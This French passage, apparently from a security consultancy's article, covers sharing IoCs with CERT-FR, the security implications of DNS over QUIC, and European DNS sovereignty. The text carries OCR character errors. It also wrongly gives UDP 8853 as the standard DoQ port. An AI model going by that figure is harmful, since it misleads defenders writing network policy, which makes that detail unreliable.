Compromise) identifiés lors de l'investigation — domaines C2 utilisés, patterns DNS observés,
hashes des malwares récupérés — et de les partager avec le CERT-FR via le formulaire de
signalement en ligne pour alerter la communauté et permettre la mise a jour des feeds RPZ

communautaires. Cette notification communautaire, souvent percue comme une contrainte, est



en réalité une opportunité de renforcer la défense collective : les [oC partagés par une
organisation victime protégent immédiatement des centaines d'autres organisations membres du
réseau de partage CERT-FR, transformant une compromission individuelle en une amélioration
collective de la posture de cybersécurité francaise. Les organisations qui reportent leurs incidents
et partagent leurs IoC bénéficient en retour d'un acces prioritaire aux analyses et aux IoC du
CERT-FR lors de futurs incidents, créant un cercle vertueux de partage d'information qui
bénéficie a I'ensemble de 1'écosystéeme de cybersécurité francais. La mise en place d'un processus
formel de partage d'IoC avec le CERT-FR, intégré dans le plan de réponse a incident de
I'organisation, est désormais recommandée par I'ANSSI pour toutes les entités soumises a NIS 2
et constitue une bonne pratique pour l'ensemble des organisations francaises souhaitant

contribuer a la résilience cyber collective de notre pays.

DNS over QUIC : la nouvelle frontier 2026

DNS over QUIC (DoQ, RFC 9250) est le protocole DNS le plus récent, combinant les avantages
du chiffrement TLS avec le protocole transport UDP de nouvelle génération QUIC. DoQ offre
des latences DNS inférieures a DoH et DoT car QUIC élimine le handshake TCP et le head-
of-line blocking, rendant la résolution DNS chiffrée aussi rapide qu'une résolution DNS en
clair sur des connexions stables. En 2026, DoQ est supporté par les résolveurs publics
Cloudflare et Quad9, et par BIND 9.18+ et Unbound 1.18+. Du point de vue sécurité, DoQ
présente les mémes implications que DoH — trafic chiffré difficile a inspecter — avec la
complication supplémentaire d'utiliser UDP, ce qui rend son blocage réseau plus complexe qu'un

simple blocage du port 853 TCP utilisé par DoT.

Pour les équipes de sécurité francaises, la veille sur I'adoption de DoQ par les navigateurs et
systemes d'exploitation est importante : quand Chrome ou Edge commenceront a utiliser DoQ
par défaut (prévu pour 2027 selon les roadmaps publiques), les politiques de centralisation DNS
actuelles basées sur le blocage des ports DoH/DoT devront étre mises a jour pour couvrir
également UDP 8853 (port standard DoQ). La planification proactive de ces mises a jour de
politique réseau, documentée dans la roadmap de sécurité DNS de I'organisation, évite les

situations de découverte tardive ou une nouvelle technologie contourne des controles existants



avant que les équipes de sécurité n'aient eu le temps de s'adapter. La veille technologique DNS,
souvent négligée par les équipes SOC focalisées sur les menaces immédiates, est un

investissement stratégique qui prévient ce type de lacune de controle.

DNS et souveraineté numérique francaise

La question de la souveraineté numérique du DNS est particulierement sensible en France et en
Europe. L'ANSSI et I'Agence de I'Union Européenne pour la Cybersécurité (ENISA) ont tous
deux identifié la dépendance excessive aux résolveurs DNS américains (Google 8.8.8.8,
Cloudflare 1.1.1.1) comme un risque de souveraineté : ces résolveurs collectent des métadonnées
sur les patterns de navigation des utilisateurs européens et sont soumis a des ordres judiciaires
américains (National Security Letters) potentiellement contraignants. Le DNS4EU, projet pilote
européen lancé en 2023 sous 1I'égide de la Commission Européenne, vise a déployer un
résolveur DNS public européen géré par des acteurs soumis au droit européen, avec des
garanties de non-collecte de données et de blockage des domaines malveillants basées sur les

feeds Threat Intelligence de I'ENISA.

Pour les organisations francaises sensibles — secteur de la défense, énergie, santé, administration
— l'utilisation exclusive de résolveurs DNS dont la chaine de confiance et la juridiction restent
dans 1'Union Européenne est une exigence de sécurité et de conformité croissante. L'ANSSI
recommande dans ses guides de sécurité réseau de 2024 1'usage de résolveurs DNS nationaux ou
européens pour les flux internes des administrations, avec des garanties contractuelles sur la non-
conservation et non-transmission des logs DNS. Cette recommandation, actuellement du
domaine des bonnes pratiques pour les entreprises privées, pourrait devenir une obligation
réglementaire dans le cadre des futures évolutions de NIS 2 ou de la réglementation cyber

européenne a horizon 2027-2028.



Conclusion

Ce sujet s'inscrit dans un contexte de menaces en constante évolution. La meilleure protection
combine veille active, audits réguliers et sécurité by design. Pour approfondir ou évaluer votre

exposition, consultez nos experts.

Vous souhaitez en savoir plus ou évaluer votre exposition ?

Contacter nos experts ou contactez-nous directement.
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